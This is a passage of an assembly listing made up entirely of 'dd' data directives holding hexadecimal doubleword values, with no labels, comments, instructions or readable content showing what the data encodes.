6862F49Dh, 2AC7B0h, 0FAFE35Bh, 9C508200h dd 0E4A44CF1h, 862B0047h, 19A0C4Ah, 7C969825h, 0DDD1FF01h dd 0F03E0A17h, 0C049C78Ch, 2B607820h, 29CEE950h, 0B9620566h dd 908DCA24h, 0A72FB2CCh, 4A5D541Ah, 0C9AD0010h, 7FEB29A0h dd 46300E52h, 9B6CC6A4h, 8FBDA50h, 80410790h, 1330788Fh dd 0F100D2ECh, 0CF81275Dh, 3AF2CB29h, 23002021h, 0FA75F903h dd 0DDE6956Bh, 11EF2700h, 2F646DE5h, 1CFD00B4h, 5430F096h dd 3F00DC5Bh, 0E20970F9h, 2E748DDFh, 2C1C1EA1h, 0EF6D00D1h dd 1F4C5039h, 98E2801Fh, 55629DC4h, 9C4038C0h, 319E0044h dd 6A7AEDC2h, 891D3F64h, 0F6C116ADh, 60DAB8CBh, 974BC8h dd 0FBB3A334h, 654384A7h, 0DF819600h, 49063FD5h, 80DE078Ah dd 5E9D79CFh, 7566CDE0h, 0DC1D0C22h, 30F05F5Dh, 269B7ABDh dd 9C3A10h, 9CD3F6A6h, 5F0741C9h, 8203AD3Bh, 64068531h dd 0E4DC3080h, 9E34E1BCh, 0EE28FF00h, 735C623Ah, 1CFA00CCh dd 8D4C1F8h, 0B40012A2h, 0AA046C23h, 2863A9h, 0A864F05Eh dd 531C78D8h, 0E1459F00h, 0B9D7BEA7h, 441400BAh, 4C87EC4Bh dd 38CE780Dh, 3043C057h, 280E93h, 3B99FD83h, 8E77BFFBh dd 27415360h, 3D95E487h, 1720E2Bh, 9EED765Fh, 0F0D2803Fh dd 521FE281h, 5C80D6F7h, 0CCFD745h, 39E6E4A8h, 6680E732h dd 512C8BE9h, 0E3008EEFh, 7882A4A7h, 58E54C52h, 5B010C8Ah dd 736CEE9Ch, 0E4123198h, 0BE000532h, 7DD51FA7h, 1FD284E0h dd 0C033ED37h, 0C19647D8h, 0C5EA11C9h, 56069307h, 833FE078h dd 0FF7FED3h, 30174E1h, 0DE2C409Eh, 6222C05Eh, 0A42EAF2Eh dd 0F6438980h, 0B2D010h, 2D5F21F3h, 18D629E2h, 557DCB00h dd 23081594h, 9E4A00ABh, 0EFD9FCFDh, 0A015D2Ch, 19A0206Ch dd 4C31BE74h, 793EB5CCh, 8CA44DC1h, 0AF494730h, 0D1FE871h dd 88E43756h, 0DD84E501h, 986CB2CAh, 6C040C07h, 7CF970D0h dd 20099AB7h, 206913D7h, 713B43A0h, 9309AB2h, 35BD42B1h dd 2056C424h, 903926CEh, 0FB27FC8h, 25E942EFh, 0C271D0E1h dd 1E4834C9h, 9614F712h, 0AE4EE802h, 81B5E3FCh, 20937B82h dd 85C901C5h, 0C01C65B6h, 18C05904h, 9F5E3ACFh, 0BD131E54h dd 0C6AD83DBh, 788E084h, 0D9E05385h, 41F095h, 0BEB7D36Ah dd 9EE3F18Ah, 0AF326B09h, 89FB8118h, 6EE4994Fh, 0EF300035h dd 2C345E2Eh, 0A500EC6Fh, 714121E8h, 3C3303h, 0CBE6C8A0h dd 926C614Dh, 0BC474326h, 42403F00h, 1808E0h, 0C3411E7Fh dd 67871091h, 0D7F0BB09h, 642460F3h, 114900D6h, 0DB65F668h dd 5E3F9F47h, 6C780EDCh, 0B680009Ch, 37A31h, 2CE8A436h dd 0CD1E8F7Fh, 839F9800h, 8860532Dh, 7A8C0164h, 468EC18Ah dd 78CC4025h, 6D1C44BAh, 0BC04A53h, 707E6E96h, 60FEE3D6h dd 9B32B8h, 0DF2052FCh, 3385A315h, 0A68C2F00h, 98C4482Bh dd 0B29E0040h, 0EBC99599h, 0E67DD255h, 3E67C000h, 588123A4h dd 9FD10073h, 29F0C38Ch, 4703DD6Dh, 0FBDABD5Eh, 54F7D9B9h dd 0E161A60h, 8B550ECEh, 0F1ADD940h, 89076457h, 0B5586F4Ch dd 0A06D47A2h, 0A2DD73BCh, 0BE630769h, 0F0054ECCh, 1CC00C01h dd 0FB0F1A00h, 9B98E7DBh, 6D38006Bh, 128BD103h, 2100AD18h dd 0ED62092Ch, 0F247405h, 57B1C6B0h, 0DB20BF60h, 5D00EA22h dd 89EC3CB4h, 0A053A082h, 1DA7ADCh, 3776F414h, 0D4D70BB0h dd 80024BAh, 0F6729346h, 18C2BA9h, 0B95AA35Ch, 0C0B05920h dd 5500C3FCh, 0E3EB6306h, 0FCCF4E3Dh, 52F43979h, 8F8CD382h dd 0EC44281Bh, 0F030C906h, 3F6C7A7Eh, 8D837F8Bh, 293F5295h dd 4CA262D0h, 0AB365B00h, 26720CEFh, 32DE1FD0h, 0E9BBC089h dd 9C33E5EDh, 1D69D916h, 2FD4F040h, 0D5EFB1h, 0CD5A6E93h dd 0E6A9E4B5h, 0F3190E00h, 4145542Dh, 6C4D01E3h, 0A3F7C1BDh dd 0AE3BC4A2h, 809DE43Fh, 0EC0FCC08h, 524207h, 9EB9477Ah dd 5E484059h, 0C0B06100h, 31829179h, 0BCDB0024h, 0D4197CA2h dd 994CF2ABh, 661C002Ch, 9D2C6202h, 447D00EFh, 6550D274h dd 0E9073ACCh, 8D9E22BCh, 2CAF9140h, 99B9007Dh, 0F61C9F76h dd 0E00B67Bh, 45D04D65h, 0B4E562h, 0A5D97C12h, 0E99A7105h dd 5D60A49Eh, 0EEE9697h, 0EDB89E06h, 0C8F23A20h, 6B00D58Ch dd 0F1A5EA13h, 72611C2h, 393673E0h, 4FE3E0A7h, 0AD13CBB0h dd 4B0074A3h, 0A6251BC9h, 0D4F100A9h, 90707C81h, 0C102EB7Bh dd 0E31D08A7h, 0E9484866h, 0A13A01E1h, 823596E5h, 0B41EDCF0h dd 81EEF73Ch, 0FAACBD83h, 0CFCC6462h, 0B51F000Fh, 94B836D3h dd 4248AFDCh, 0F90D00D0h, 0F1CC07E5h, 0E82F12C1h, 0C2500048h dd 0A4D49C13h, 0A21DB901h, 0C3EC8B11h, 23CDFCh, 0EAA5F2EDh dd 0E8FCD120h, 70989D00h, 0A96021C8h, 0B89C4C1Dh, 0EA0313h dd 0D66FA6A0h, 9975683Ch, 0E1098800h, 0AAED87A9h, 34009511h dd 57C722FBh, 9D36980Bh, 0BDEC000Ch, 0D4889Fh, 0D65FDB0Bh dd 0D1837E32h, 0A1F95D00h, 0FC8EC770h, 231202DEh, 0A26C330h dd 0A5E9BEE0h, 6FC9F601h, 7999E8B6h, 4A4AB2F0h, 0FD70008Fh dd 0D7447C80h, 6B6D8400h, 55E6C059h, 4D51883h, 27F880BCh dd 88B25401h, 0D3011365h, 1100EC6Dh, 52B0364Dh, 0F0028198h dd 5861BFC4h, 0BCC3D58Ah, 796FF9A8h, 0D0B05EF2h, 0F002C74h dd 0DE291C9h, 3EFA64Ch, 0DF13C325h, 82CCC7D6h, 6CC9A3FCh dd 6F30E8DEh, 25959200h, 905F8547h, 0D38100B0h, 3F8CDA07h dd 6A038442h, 9941C02Eh, 0C57087E2h, 0E62CCEBh, 122513E0h dd 858131E0h, 790293BCh, 10284773h, 7D808292h, 41869F1h dd 3E70032Bh, 90BFCA65h, 8E1F3C84h, 0D3A27817h, 92E53300h dd 0BCBA537Fh, 0CB8F0060h, 11D734B6h, 40C30350h, 804EE328h dd 0D25FC177h, 0AB3DF040h, 4B7EDCCBh, 55F420EDh, 0C6003843h dd 6A0741D8h, 774986D4h, 743600F5h, 0DD029518h, 76002BC1h dd 6A8D83A3h, 0E8F1E61Dh, 19321DBFh, 0C98A07DAh, 0F68EE0F7h dd 0A255896Ch, 3A0FD0A4h, 71AD39h, 0B745BFEFh, 0CC832Fh dd 75F178D4h, 8FA329DDh, 1CD61000h, 0DB623AC0h, 0B4E4398Ch dd 9D1B1400h, 0B0033877h dd 0AFABB200h, 0C696530Ch, 888E005Ch, 65A2F798h, 4D00F434h dd 4E5447BCh, 44FAE7Dh, 0B48B1F9Ch, 0FAFCD030h, 0B01D8563h dd 6AC084BEh, 0E2801841h, 7EFD00F3h, 87396112h, 0A100A638h dd 3E13C945h, 1376DBEh, 2CFEA99h, 0EC7BFB0Ah, 0B028E2FDh dd 9D2FE093h, 23188020h, 0F9C94Dh, 2534C65Eh, 3E17E476h dd 82D8AE00h, 0C5655273h, 33A00532h, 0C0B3D29Ah, 91D66D7Bh dd 21B23700h, 0C35FA7D0h, 0E1E0A057h, 0FB380027h, 3F1D716Fh dd 0A9004BEBh, 0BCE30DDEh, 2F2C0A4h, 0F477A2E9h, 2CC0EC6Dh dd 611209AAh, 0C0B05FF9h, 8120003Bh, 22DCDB3Fh, 1B00FDB0h dd 10A26182h, 1CC0989Ch, 473060B7h, 0B62FAEFEh, 0D200185Eh dd 4B4606E2h, 0EC6EC90h, 88A3DEE8h, 8A84B2C0h, 0E6767CCEh dd 532EA813h, 589E0400h, 0AEE111h, 0F1143ED0h, 354BB0E7h dd 65512D03h, 0B839BF0Eh, 0F370C145h, 2F2E1021h, 0E2928000h dd 0F7EA918h, 0C331FCEAh, 0F0A66140h, 0AC009CDFh, 7C166076h dd 794A35h, 9E6B29C2h, 0D98FDDE8h, 0C8EE8100h, 0A84D7EF9h dd 12790098h, 2F1B9549h, 0DA0E86CFh, 0A07C73C7h, 0D7256B26h dd 0E67E0789h, 0D04679ABh, 9751FFDCh, 0F6B5E10Fh, 729EE0FCh dd 277C4C6h, 3355486Fh, 4B403B07h, 7A0353C1h, 1BBC0E8Eh dd 0B545E1ADh, 7259E4h, 8AB85C13h, 931F54B0h, 3BE9700h dd 666D3599h, 2AC51EA3h, 0F800BFB7h, 122CF5A8h, 470023E6h dd 0FBBD3AB1h, 0B8F70613h, 9DC50057h, 0A8B0C353h, 8B70906Bh dd 0D2638A07h, 0B270F918h, 0CA520B1h, 5A2BED19h, 550C6FF1h dd 11F1D681h, 71DA0744h, 90800F45h, 0F6471287h, 998D1500h dd 0C3566278h, 416D0EF8h, 0E920B598h, 0BFD4671Eh, 5C225B00h dd 6D4315AAh, 0BAB60029h, 0AFA5F389h, 40A58CDh, 0A0CF6A8Eh dd 1E820039h, 116CE3Eh, 5DF306A2h, 118B79F0h, 0D17F4F02h dd 174485h, 8309765Ah, 0C7588B00h, 8C343571h, 0BFD30073h dd 0D15E3603h, 0A43EADDDh, 35FF809Bh, 8ED7EA0Ch, 0F1D80002h dd 2B18C1FBh, 69078412h, 8503D046h, 20F84440h, 8E790240h dd 0E6C58A1Ch, 433B84A0h, 0CE779FD9h, 7B71C000h, 0EAAE8F4Dh dd 30426093h, 0FD069945h, 0A3E781Eh, 6E502481h, 51823A29h dd 0A203CD02h, 20A9B143h, 9E93C426h, 0D1127B00h, 1B907FE8h dd 0DA900B1h, 9D7043E0h, 0B06EEB3h, 7927B9D8h, 0E608F020h dd 99330084h, 0DC407D2Dh, 0CF00229Ch, 20173849h, 5CBD82ABh dd 94035CA0h, 968F8DEBh, 7C482900h, 64841463h, 3A6C1E2Ch dd 6AC5C417h, 89F0808Bh, 0A0010C8h, 0ED73AE29h, 0B021E0F1h dd 9AC14CAh, 0CD00FC6Ah, 0D048F87Ah, 0CB5CC823h, 90DB00BBh dd 70D68A1Dh, 0C62900CFh, 483D47CAh, 0B271A910h, 3DE9A73Ah dd 89150076h, 916660AAh, 3C59005Bh, 0F6B44210h, 58002C19h dd 2B3E67E3h, 0E60A202h, 56721FD7h, 80B12660h, 0B9037D4Fh dd 0DA020EE1h, 5DDB8A3h, 69E700ADh, 0BB3F2D67h, 4C06E97Ch dd 0E6658942h, 6CF50748h, 6F80B8A0h, 0C4F7B6C0h, 63006EF2h dd 7D10471h, 2BE89Bh, 0C393BB70h, 3CC07959h, 0D8D7E200h dd 1825E20h, 0EA340075h, 872A8D9Bh, 0A6026879h, 0C7895C66h dd 54CC4026h, 48850010h, 0D2802392h, 0E8009A87h, 0A0CBF362h dd 0E846C80Ch, 2A16007Ch, 2486442Dh, 207FB251h, 0C73F9B0Ch dd 18B041h, 0A193D3CDh, 0B3158A92h, 0B23D500h, 9DC4ECDCh dd 47A70082h, 2190DAFEh, 9B00D29Eh, 0C7288515h, 0A0F7C1h dd 24F82E78h, 0FFE3A6BAh, 4D7C0F01h, 451743CFh, 0D0D74821h dd 0F0B3DDC1h, 58351298h, 3DC00D9h, 0D7CB2662h, 35F8348h dd 0C1955999h, 0B6C9B9A5h, 162420h, 178E55D3h, 7774EB1Dh dd 3972C0ECh, 0EC030700h, 79CA7631h, 91D21D2Ah, 1C84E89Bh dd 800EAA50h, 456CE156h, 5398CA14h, 8E78B600h, 82E0901Bh dd 0E5DF090Ch, 0DC012886h, 40EDCF76h, 0C06AAAB7h, 0F0751300h dd 46502FC1h, 937B0035h, 994AFA25h, 0F300421Ah, 0FF6A8CC4h dd 185930BBh, 0D86E3F36h, 0E3F022BEh, 7FC4EF00h, 1B4720C0h dd 7D260721h, 76D8893Ch, 393FA888h, 0F5CE94BFh, 3BCF0F84h dd 0B01CA0D0h, 60EC4Ch, 691D1967h, 0A01F2D6Eh, 1307AF00h dd 9D57E2BFh, 0FB7899h, 85F70BF1h, 0E594535Bh, 80069E3Eh dd 0F076B6D4h, 0F0CF8AA9h, 50B2FAh, 3FCCE2DAh, 51582873h dd 82B09401h, 796A6DF9h, 0EA2A8F8h, 0CF9EBB32h, 6E3E005Eh dd 40BE63A4h, 0B5623605h, 0F04896E5h, 0D0858733h, 87BEE082h dd 19003867h, 3683CA94h, 4DDC8D2Bh, 0EE00F8A3h, 67854A15h dd 4F05ADC8h, 0C4653BBFh, 6AF8D400h, 60426B87h, 915CA8F1h dd 3A00F07Fh, 0E63B88Dh, 922A879Dh, 0B3EA0274h, 54B5E5FCh dd 0A0911F60h, 69FEE1C3h, 0B0DE90DDh, 20AF00A1h, 6BC9D32Bh dd 0BA000132h, 0CF3066Fh, 0F2790DCh, 9B3EECABh, 962617E1h dd 0F6A13E28h, 143070E5h, 33B500DAh, 1E56B5Eh, 881E8114h dd 6FD86304h, 8F7E20h, 0AACB19ACh, 7DF882DFh, 99076C90h dd 1CEE63B9h, 5E471720h, 9BC0EEBh, 6720FD39h, 0D676E484h dd 847249h, 0B4356594h, 306C4A26h, 1AE97838h, 0BE00F52Ch dd 0EA80D4EFh, 3064300Bh, 0C5C00E13h, 373CBFF4h, 72D200C3h dd 0BBCF1D2Eh, 5460117h, 5987C51Bh, 7EE9F4EDh, 1095C018h dd 0E768A38h, 62DE5A3Fh, 27A6580h, 4011AC5h, 90FFD7A2h dd 0B8D3307Fh, 174B22h, 7C3C1EC3h, 64233DC7h, 0D0880912h dd 501BA80Dh, 4B2890CFh, 0FC4700C1h, 4C7B998Fh, 0C20E423Fh dd 0A241A72Fh, 0C0EB22EEh, 3F1553BCh, 5D80DA9Fh, 711FC20h dd 0C7A05F68h, 0ED006ED5h, 0D8704F33h, 0FD493Ah, 0E86ACC6Bh dd 0D4CDAA14h, 8D56600h, 5B705E73h, 0C5E04Eh, 1422DD2Dh dd 873C6753h, 0E1C6A801h, 2A2F52E0h, 45806AB8h, 35AE4F5Ah dd 860157CAh, 3094DFF5h, 9FC01A82h, 187600B1h, 0E43839BCh dd 60028F13h, 0D0E70A78h, 140D573h, 0AD1890D8h, 0EDAE4FF2h dd 0B5DD0056h, 0F7E8C850h, 0D6E6D5F9h, 94091F00h, 0AFCFABAEh dd 5EC400ADh, 0F35C8CEEh, 89C0B5E2h, 0B2C1D428h, 56F0054Dh dd 844113h, 0EB89A5C9h, 8700B30Eh, 0D5E73CAAh, 3E5BFD46h dd 9280EACCh, 1C67284Fh, 12717FCFh, 0BF95E1Fh, 605A3C4Eh dd 0C7134756h, 92F00050h, 8DE00126h, 0A63059CCh, 115428FCh dd 6020F29Ch, 92CA10FAh, 0A119F155h, 1BC819FCh, 0CE6CCCh dd 0E2298E22h, 3CD45064h, 0E3742B73h, 0ACE87500h, 49BB47BDh dd 7CAF1413h, 9900C01Ch, 74078D6Dh, 0D403FFC0h, 3CE9D03Eh dd 45E905D6h, 207F8BD1h, 99867120h, 578C8354h, 60BEE200h dd 0C1F346Bh, 0A2560F27h, 106020E4h, 1947DE74h, 86D9B700h dd 98C0B95Ch, 61D56325h, 0DC80EDEFh, 0C270E8C6h, 0EFBA200h dd 0BE76A119h, 8D2C0072h, 7AB369C4h, 7700A628h, 78257D39h dd 0B71F46Fh, 0CC5BFC0h, 40514985h, 0EEDA44B4h, 0D600CB3Eh dd 2E4A2A9Ch, 0ED11A3h, 157157A0h, 3C6A505Ch, 0DF602426h dd 2A6A800h, 90910F14h, 51080F70h, 0ED21788Ah, 80C0FDC4h dd 0D54AC819h, 50660F88h, 1B1FA013h, 21873283h, 542B8D88h dd 0E3789901h, 0B8B7DB4Bh, 0B0D830h, 387E0F33h, 20AE2E34h dd 7B40EE00h, 36BF66B1h, 3D2EC4Fh, 7F2CE05Dh, 0A5B5CAh dd 665E5C90h, 0F9EE773Dh, 48676B01h, 0E4DD4033h, 3574D8h dd 0DCAB03C0h, 0AE4A6A73h, 0CEFC5500h, 0D2FACB0Ch, 0E608098Ah dd 90081451h, 74AE04C4h dd 929A8368h, 0A34C29B0h, 0CC46BA0Eh, 80140079h, 47F634h dd 0F4972763h, 6B2D57C9h, 9E426900h, 7C8E7A22h, 4F7128B1h dd 21791EC4h, 11607E7Dh, 0DED53764h, 1E119305h, 0C2C0EB0Dh dd 5779783h, 6A697909h, 0F9AAC0B2h, 0B900B739h, 0B816474Ch dd 0AD7FC9h, 0F740C160h, 0F607E813h, 7DC0A809h, 87580068h dd 7CE51Dh, 5ECD5A31h, 0F9C06ECh, 649F0300h, 4DDC3B07h dd 81B00775h, 70711E09h, 0DA2183C5h, 5EC09500h, 789D7233h dd 563D03C8h, 4C2EFB58h, 0F03E8991h, 0AB03A9Ch, 354DD300h dd 0F369CE56h, 24DFB834h, 80DC5B17h, 97E85F43h, 0D0001B1h dd 1B3135E9h, 0DAFA2Ch, 3B549FECh, 0A587438Bh, 0CE815B00h dd 8479907h, 0EEBE0341h, 9CD129Fh, 0A66C80B4h, 0E70038FDh dd 7E5B113h, 721FAFh, 41588252h, 56AC9B80h, 96899C00h dd 269EA717h, 12451E62h, 0A82B8007h, 30AC39A4h, 23E49312h dd 5A4C4Bh, 44AEF120h, 6C2D0059h, 64FBD9B4h, 390023FFh dd 7566B8A5h, 0F9F627h, 4E5D492Ah, 0B223759h, 39E9D501h dd 44B5D164h, 0DC0020h, 183EF3C8h, 0E85C127Eh, 0CF4AE900h dd 0DF071003h, 48F445h, 0C25E45Eh, 41650668h, 30AB7700h dd 6DC41C50h, 0FF9838FDh, 0D61D300h, 0CBBD6FB6h, 1B008BFEh dd 45391357h, 0F93B85h, 0F330CA52h, 817B4256h, 62AD7900h dd 87771CABh, 0D14703B6h, 3CC28BC1h, 4E9A00DDh, 972A6CDFh dd 42C4A600h, 44BBDAC0h, 6EB0A43h, 808C83DDh, 0B50F62A0h dd 0D0E02FF1h, 3100847Ch, 8EE5D71Dh, 1A67035h, 19656983h dd 30368C10h, 3F00BF26h, 17F8D9A7h, 2C129375h, 149B6974h dd 6B00EA62h, 19C2A9B3h, 0EB003EB9h, 0BB0F95D1h, 58DAA4h dd 0E647965Bh, 2CB91ECDh, 133B49C1h, 6820219Dh, 1E547E71h dd 668C4DC0h, 78760058h, 0EC3A9A8Dh, 60CC7E00h, 584B3BB3h dd 2DEA92h, 7B3F7553h, 41D195A6h, 509BAE1Ch, 0EC119FC0h dd 261D6B07h, 70DF3Fh, 9278E314h, 0BE0E15A1h, 0E0B0F179h dd 8965DB47h, 87931E2Fh, 8381C021h, 40BAADF6h, 0EC883130h dd 2EF451C5h, 8E106092h, 0AFE2E27Eh, 9C402AC0h, 2950D23Dh dd 1A030692h, 9EC76F9h, 310FA804h, 0A716003Ah, 4324911Dh dd 9F05BC57h, 61DDD3E9h, 0F4B80BFh, 9027DA70h, 9674CCh dd 50E63476h, 1E006C77h, 0EBC210ACh, 4EE262h, 6B90745Eh dd 2BD512EAh, 52766806h, 39F23002h, 0A4802465h, 0E849C9CEh dd 392E0672h, 38374423h, 0FE66A8F0h, 0BA9C00ECh, 0E76EAC34h dd 0B6032A5Bh, 446B5FB2h, 0BF4F9842h, 9064F99Ch, 247C00D0h dd 791B1175h, 0D30EC910h, 0C0359E1Dh, 9C7E6C3Bh, 0F15900B1h dd 565CAEADh, 8700FD54h, 0C1E522E2h, 1CFE2Eh, 0CCBF6E04h dd 0C76A84Ah, 37F6B300h, 0F7330D56h, 750E0794h, 31B0D6B2h dd 0C7642C1Ch, 7CA68009h, 4902D5F0h, 98E31056h, 640297E0h dd 4FE8911Eh, 0E89C341h, 105252E7h, 6080406h, 37D4F89Bh dd 8C20F6C3h, 0A4009D18h, 0D3A58F5h, 3EACDEh, 0ED61A75Eh dd 0E6CDC39Bh, 58A22000h, 502CBE90h, 491C0A9h, 0B2F97F0h dd 76D91006h, 2CA2E7E5h, 1B0944Fh, 0D7DA04A7h, 66A05058h dd 59019156h, 483CCB49h, 4FC02951h, 0D09D004Eh, 0F0EFE02Fh dd 91FEDD7Ch, 396BEC30h, 3F105CE8h, 0D8830CA8h, 0B2C2DD04h dd 0D2C473C8h, 0FFF2DB00h, 576825F3h, 0EAEB3DE4h, 6E8DF480h dd 5C482CD1h, 10CBD403h, 3F0A22FAh, 119D9F18h, 16DFA8h dd 0A25C84D7h, 0F66076EBh, 252CCC20h, 1080C366h, 16325118h dd 607C3006h, 7228BCD6h, 1E7D1BE8h, 4010186Ah, 290FFC15h dd 3400A664h, 9D6D4FA1h, 0B77E9510h, 9015533Fh, 8F00D00Fh dd 9E045732h, 0BEFF3E25h, 95535F0h, 8929000Dh, 0C0488760h dd 0EEE7C251h, 116476DAh, 1CFF7DD1h, 772C8782h, 4E41CC3Bh dd 0C8B6A802h, 0A15FAF0Bh, 0EBE9E7A8h, 0BBE5A07Bh, 5261CCB8h dd 5B96E298h, 68120BE8h, 6060E4h, 8633BBB4h, 21009118h dd 4350D72Ch, 4DA5AAh, 0AD634E3Ah, 7A3DAC35h, 6210B100h dd 25C145E3h, 365A16C6h, 8FC80091h, 1D47F5E7h, 2AF1401Eh dd 23753582h, 8173E07Bh, 74EFA9Eh, 86791A2Dh, 3A7E9041h dd 3D00DA39h, 0E64293F6h, 1E872DE1h, 0FF9FF0D3h, 4A3C007Dh dd 0ED544035h, 4B3EF359h, 86BD803Eh, 232B3932h, 0B5FA005Eh dd 40556422h, 0B00145Dh, 0CB442D95h, 3542CAh, 0DC654A8Bh dd 0E23EFBF6h, 407C9E4Ch, 290A2284h, 0A8172499h, 20F1F480h dd 0C7F89B5h, 6F91100Ah, 21CFA608h, 3027804Ah, 3F34F4B7h dd 6B023F2Ah, 99F259Bh, 68810040h, 2CACC210h, 55731400h dd 0B4A4DE5Dh, 0AE10F01Dh, 340873h, 5D9C6521h, 941FE1F8h dd 0E538B50Fh, 328BE3ABh, 471AE90Ah, 40625020h, 4A61DB78h dd 11E12038h, 189B2424h, 2082CE8Dh, 0BA24EAE8h, 1C181C01h dd 12BB2B21h, 0FEDCBDAh, 0E783C144h, 21006901h, 74D7B507h dd 3BF0CFDDh, 8E6E62Fh, 0A83C2112h, 806880CDh, 50A2E7B9h dd 42BEED0h, 728D9A38h, 0DAB49007h, 78C1A66Ah, 0B6F6B585h dd 18298848h, 100D131Dh, 240020A4h, 0B897C2C0h, 0E0C1616Ch dd 4C72E7h, 0A5B57D59h, 0A4D7A2E3h, 0AA7BE100h, 9B71BC60h dd 717E8CDh, 945F9666h, 63A40033h, 6C0026F5h, 761101C1h dd 0F0CCE7Bh, 8E21179Ah, 23FA29C0h, 9F000D46h, 0F42A32Fh dd 0AD5235h, 6BBFC9B2h, 0BD592751h, 0E900E290h, 1AEB553Dh dd 439F61h, 3F58C5FBh, 1C6D2BB7h, 8002853Bh, 3E0FEADh dd 64D01Fh, 60F06637h, 8DBC5A6Bh, 0A11ACC00h, 0F72DF3ACh dd 957BCBh, 0BE9B49D5h, 20BA1E86h, 7A367100h, 128F8B97h dd 787FC1Ah, 611F0D18h, 7D18AC58h, 0D7969400h, 3F81319Ch dd 0D04338C0h, 4056E01Dh, 70977DC5h, 49C07F09h, 0B5DF05F8h dd 0C1DB3687h, 0AF061840h, 8E7716F2h, 0C3927A10h, 38E1C519h dd 0DD4AABD8h, 0E000CA78h, 0C09E0DBAh, 0F7796008h, 99F8FFD1h dd 0A28900E3h, 447157E0h, 0C1006F2Fh, 3CD77096h, 7043E02h dd 0E7EE8DEh, 3083260Fh, 0D6076EF8h, 109771D1h, 9E4AC3h dd 0D9295C18h, 59D38BF0h, 0F3958406h, 0A172F2h, 7BB2BA71h dd 511D07B1h, 822CBB00h, 0C51EA643h, 8B921C10h, 7890EA58h dd 0F33F0393h, 5B781FA8h, 4DCDE8C8h, 200B172h, 43FE1767h dd 0E9260h, 81C26299h, 5BBDF47Ch, 0F7781D00h, 403D4D63h dd 0C07E005Ah, 0A2BCCBE4h, 2E0024DAh, 0C367F383h, 5CD3D1h dd 8A95AF27h, 3829E07Ah, 0BCD42D07h, 6660F516h, 79753089h dd 46D8034Ah, 2FC47640h, 6F4C080Fh, 0F773A06Bh, 0DFE7B4h dd 0D5EE616Dh, 4DAD7C7Fh, 78A8A400h, 83492BE6h, 709A00FCh dd 2623B6A3h, 2860D48Bh, 1C90AA49h, 3E220056h, 63E3A8F1h dd 0F064F31h, 3DF9DC28h, 1101E18h, 0AAFE431Eh, 23EBECE0h dd 0E8B13103h, 0E1A5883Ch, 900EAB4h, 0C00E3642h, 6A831A4h dd 2649FD14h, 3FA2D6ACh, 9AA5BD80h, 0E3F0E4CDh, 44476230h dd 0D3CB67h, 8CAEBCF1h, 0BF53C7DAh, 0C3C6F800h, 6D59084Ah dd 0DE710B6Bh, 9482939Fh, 0D4604E1Eh, 0A200E865h, 0A09057C3h dd 510975h, 8E741FD2h, 9B279736h, 9DACB400h, 13CF7604h dd 90C5283Dh, 2D9A0F04h, 55809172h, 6CD23C9Eh, 3E12E900h dd 2277D676h, 919007F8h, 5035A29Ah, 3BBFADD0h, 428629C8h dd 9E24DCA3h, 12410921h, 0E46E105Ah, 814F8A88h, 10E7FCDEh dd 1EFB3600h, 2ACAA379h dd 6243005Eh, 9B7E85AFh, 8007114h, 0E8DA57A2h, 2620F775h dd 38E7A113h, 0AAD62D00h, 980CF13Dh, 910061E0h, 0EC31FD3Ah dd 606C49A1h, 7B4BF092h, 3500E083h, 229E24C4h, 0E7658D3h dd 0E15B6679h, 0E9875080h, 641D1983h, 0A4409162h, 4BE0D5F3h dd 0CDDF00BAh, 7A857E0Bh, 120F5D39h, 2EF001h, 0AB55F1DDh dd 0ACBF0036h, 317F3A73h, 9D30B59Ch, 0FDF210B4h, 0CB0900F4h dd 2491B0B6h, 250E3D28h, 80D626DCh, 5B877332h, 129D00E0h dd 0FDD292B1h, 6F073370h, 1C5A90D6h, 287BBEC0h, 15B800CFh dd 115F3622h, 0D5003D88h, 0F88D57F3h, 93B9BBh, 0E5B7929Fh dd 0C046C410h, 0AC5E7B00h, 52FF82F0h, 0ECB51F49h, 15568027h dd 0C16AEA4h, 76729200h, 0BC674EA9h, 6A180066h, 0A22AFE58h dd 0DB025D5Ch, 39A199DAh, 903E6055h, 24E6F045h, 2077F8h dd 0F1941636h, 2B00B5A9h, 5E815843h, 0A09FB08Fh, 4E26E0h dd 0C51F3DB7h, 8C6961FBh, 0D7F23918h, 74565Eh, 0E9BECF0Fh dd 71C4C015h, 0E48AEE28h, 97505500h, 0E1529F99h, 0A84103BEh dd 58F7454h, 951FDFB0h, 0DE19F407h, 164F4BAEh, 326BB200h dd 328095Fh, 82CBF81Eh, 81D23F80h, 5800C88Bh, 0F1ECBE90h dd 0FF6AA200h, 1E66B82Bh, 883008Ch, 0C6B4AD8Dh, 0BD00F391h dd 19FF5AEFh, 3886246h, 0B09B82E0h, 0F4D9E212h, 24F5D869h dd 0D8AE4B0Eh, 39F2380h, 0FC10B8DCh, 0C69900ADh, 0CBB7B512h dd 78717452h, 0E14D210Eh, 802F2056h, 0C27982h, 4BC8A74Ch dd 8AE60FDFh, 97596500h, 321B7A84h, 9B8F0064h, 0C06F81C7h dd 4B005274h, 0EEC8DA1h, 8A694Eh, 0BA9FFCBh, 6A3E71E2h dd 12318E00h, 4C2B845Ch, 0D0DB00D1h, 70D777CAh, 9600BC41h dd 8A80A83Dh, 54F0Ah, 0B2ECB9ACh, 44AF1193h, 0E59DFE00h dd 0FD8E43F9h, 2C330204h, 8B9989BAh, 0AE9BA840h, 52BDE700h dd 816C84Eh, 33A0704h, 50603C1Eh, 914B72D6h, 0F5BA48h dd 0F936FF35h, 585CCEB8h, 9900212Bh, 0C664B514h, 0CC00445Fh dd 858CF6FDh, 1EA883h, 1BF4362Ch, 0BC252BA6h, 760B8700h dd 5A8531CDh, 0CAD401C4h, 60E06A14h, 88DC2084h, 0D5480D7Dh dd 0E83B8674h, 995F3846h, 0E0BAB02h, 1F78F2Dh, 0F7C0AE13h dd 71A98D4h, 65CCCFE5h, 0EE2D0D5h, 2C0036ECh, 0ABB99BA7h dd 90B58F1Eh, 918B80FCh, 0CCCD002Bh, 0C85EA269h, 1E00DC7Bh dd 30E0DD72h, 55C5D3h, 9EF2EAB1h, 3592943Fh, 0EBDC5400h dd 0AA5D3A20h, 87D40FF1h, 7AC31D6Ah, 71DA3E0Ch, 0C94BF440h dd 0AEED4F00h, 98884DFBh, 2BF80034h, 60B2A0FAh, 0EB3C6127h dd 99328E16h, 53EEC04Dh, 6DCEF3h, 843BF70Bh, 39665507h dd 3F85DA07h, 1020735Ch, 1C547C7Ah, 0C019FA01h, 0AA127FC4h dd 8200A94Dh, 9CFFB439h, 148863D6h, 0A89DA135h, 47FC2C51h dd 78333A30h, 6A379380h, 0AFCD6E88h, 989AB07Ch, 